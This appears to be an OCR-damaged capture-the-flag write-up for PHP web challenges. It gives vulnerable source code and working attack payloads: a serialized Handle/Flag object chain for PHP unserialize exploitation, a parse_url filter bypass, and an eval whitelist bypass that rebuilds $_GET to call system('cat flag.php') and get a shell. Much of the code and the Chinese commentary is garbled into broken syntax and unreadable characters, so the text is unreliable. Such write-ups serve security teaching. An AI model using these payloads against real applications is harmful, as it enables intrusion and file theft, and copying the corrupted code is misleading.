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{!—Please get the source of hint. php—>
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<?php
class Handle{
private $handle;
public function _ wakeup(){
foreach(get_object vars($this) as $k => $v) {
$this->$k = null;
¥
echo "Waking up\n";
¥
public function _ construct($handle) {
$this->handle = $handle;
by
public function _ destruct(){
$this->handle->getFlag();

}
}

class Flag{
public $file;
public $token;
public $token_flag;

function _ construct($file){

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight file($this->file,true);
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error_reporting(9);
$file = $ GET["file"];
$payload = $ GET["payload"];
if(lisset($file)){
echo 'Missing parameter'.'<br>';
by
if(preg_match("/flag/",$file)){
die('hack attacked!!!");
¥
@include($file);
if(isset($payload)){
parse _url($ SERVER['REQUEST URI']);
parse_str($url[ 'query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
¥

¥
$payload = base64 decode($payload);

$payload = unserialize($payload);
}else{
echo "Missing parameters";

?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
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<?php
class Handle{
$handle;
function  wakeup(){
(get_object vars($this) $k $v)
$this->$k = null;
b

echo "Waking up\n";

function _ construct($handle) {
$this->handle = $handle;

function  destruct(){
$this->handle->getFlag();
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class Flag{
$file;
$token;




$token flag;

function _ construct($file){
$this->file = $file;
$this->token flag = $this->token = md5(rand(1,16
));

function getFlag(){
$this->token_flag = md5(rand(1,10000));

($this->token $this->token_ flag)
{
(isset($this->file)){
echo @highlight file($this->file,true);
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$filename-"flag.php";
$a FlLag($filename);

$a->token-%%a->token flag;
$b Handle(%$a);
echo serialize($b);

0:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag ":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"43cf3ae60279360eab2d678461a565c3";5:10: "token_flag";R:4;}}
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$filename="flag. php”;

$a=new Flag($filename) ;//5T X HFlagltt Fa, HEE NI EEN T lag. php
$a—>token=&$a—>token_flag;//SEINENF ~|""f
$b=new Handle($a) ;//5E ¥ FHandlef1%1 &b, HZEHNa (FATEE R Halgetflagpf %)

echo serialize($h) ;//HiHblIFFI1h N E
o

O:6:"Handle":1:{s:1 4:"]Hand|e]handle";O:4;"FIag':3;
{s:4:"file";s:8:"flag.php”;s:5:"token”;s:32:"d768f8ec110b0207ba7a209f7975fbb1",5:10:"token flag™;R:
41
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0%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3B0%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs %3A8%3A%22flag.php%22%3Bs%3A5
%3A%22token%22%3Bs%3A32%3A%22¢a9c267dad0305d1a6308d2a0cf1c39¢%22%3Bs%3A10%3A%22token _flag%22%3BR%3A4%3B%7D%7D <?php
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(lisset($file)){
echo 'Missing parameter'.'<br>";

(preg match("/flag/",$file)){
("hack attacked!!!");

HGE $file ANREHIY flag

(isset($payload)){
$url - parse url($_SERVER[ 'REQUEST URI']);
parse str($url[ query’],$query);
($query $value){
(preg_match("/flag/",$value)) {
(*stop hacking!');

()s

1
J

{

echo "Missing parameters
hit
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1 <?php

2 3url=parse_url($_SERVER['REQUEST_URI']);

3 wvar_dump(3$url);

4 parse_str{3url['query'],$query);

5 | var_dump($query);

6 $key_word=array("select”,"from","for","like");

7 foreach($query as $key)

8

9 foreach($key_word as $value)

10 {

11 if(preg_match("/".$%value."/" strtolower($key)))
12

1 die("Stop hacking by using SQL injection!™);
14 }

15 1

16 }

17 | 7=

QNS http://127.0.0.1///1.php?sql=selectiiEFtSRhEET
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% Mpayload: http://127.0.0.1///ciscnwebl/index.php?
file=hint.php&payload=0%3A6%3A%22Hand1e%22%3A1%3A{s%3A14%3A%22%00Hand1e%00hand1e%22%3B0%3A4%3A%22F1ag%22%3A3%3A{
S%3AA%3A%22F1i1e%22%3Bs%3A8%3A%22F1ag . php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22ca9c267dad0305d1a6308d2a0cf1c39c
%22%3Bs%3A10%3A%22token_flagk%22%3BR%3A4%3B} }
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val("echo ".$content.";");

AFELATRIEH $content 1IN % Jysystem(cat flag.php)st 4y 1, B, WiERERERIME RS T IRZIRZ ME K.
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<?php
error_reporting(@);

('isset($ GET['c'1)){
sh ce(_ FILE_ };

$content - $ GET['c'];
(strlen($content)
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$blackitem) {
$blackitem */m*, $content)) {
BASHEEOTH);

$whitelist ['abs", "acos', ‘acosh®, "asin', ‘asinh', ‘atan2', ‘atan’', ‘"atanh', ‘base convert', ‘bindec’, 'ceil’, ‘cos', ‘cosh’, 'decbin’
» 'dechex', 'decoct’, ‘deg2rad’', ‘exp", "expml', ‘floor', 'fmod', ‘getrandmax’', ‘hexdec', ‘hypot®', *is_finite', 'is_infinite’, 'is_nan’
» 'lcg_value', 'logl@’, 'loglp’, ‘log", "max’', 'min’', 'mt_getrandmax’, 'mt_rand®, "mt_srand®, ‘octdec', ‘pi', ‘pow", ‘rad2deg’', ‘rand’
, 'round®, ‘s N 'sq "tan ‘tanh'];

preg_match_all( <f \X 1%/, %$content, $used_funcs);

c) {
$func, $whitelist)) {
8\ 2T A RIS 5

eval('echo ".$content.";");
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payload: $pi=base_convert(37907361743,10,36) (dechex(1598506324));$$pi{0} ($$pi{1})&0=system&l=cat flag.php
filEE—F, B2 base_convert BREGEL 1 36331 211053 il i 4,

Bl $pi=hex2bin(dechex(1598506324)) , dechex(1598506324) SEH | 103k il #4 ¥ Jy 1633k,

Bl $pi=hex2bin(5f474554) , hex2bin(5f474554)

SCHL T A6HERI L 100 ], BEEH T $pi=_GET()

SEHL T getii i 5 — YV A A A T $${0) #EATHL T $_GET(e) 1M §_GET(1) it T Hik. $3pi{e}($spi{1}) ALk
T $_GET(@)($GET(1)) , & ,A1E N0 Nsystem,1 Hcat flag.php, Z&id 7 74, 5¢Higetshell.
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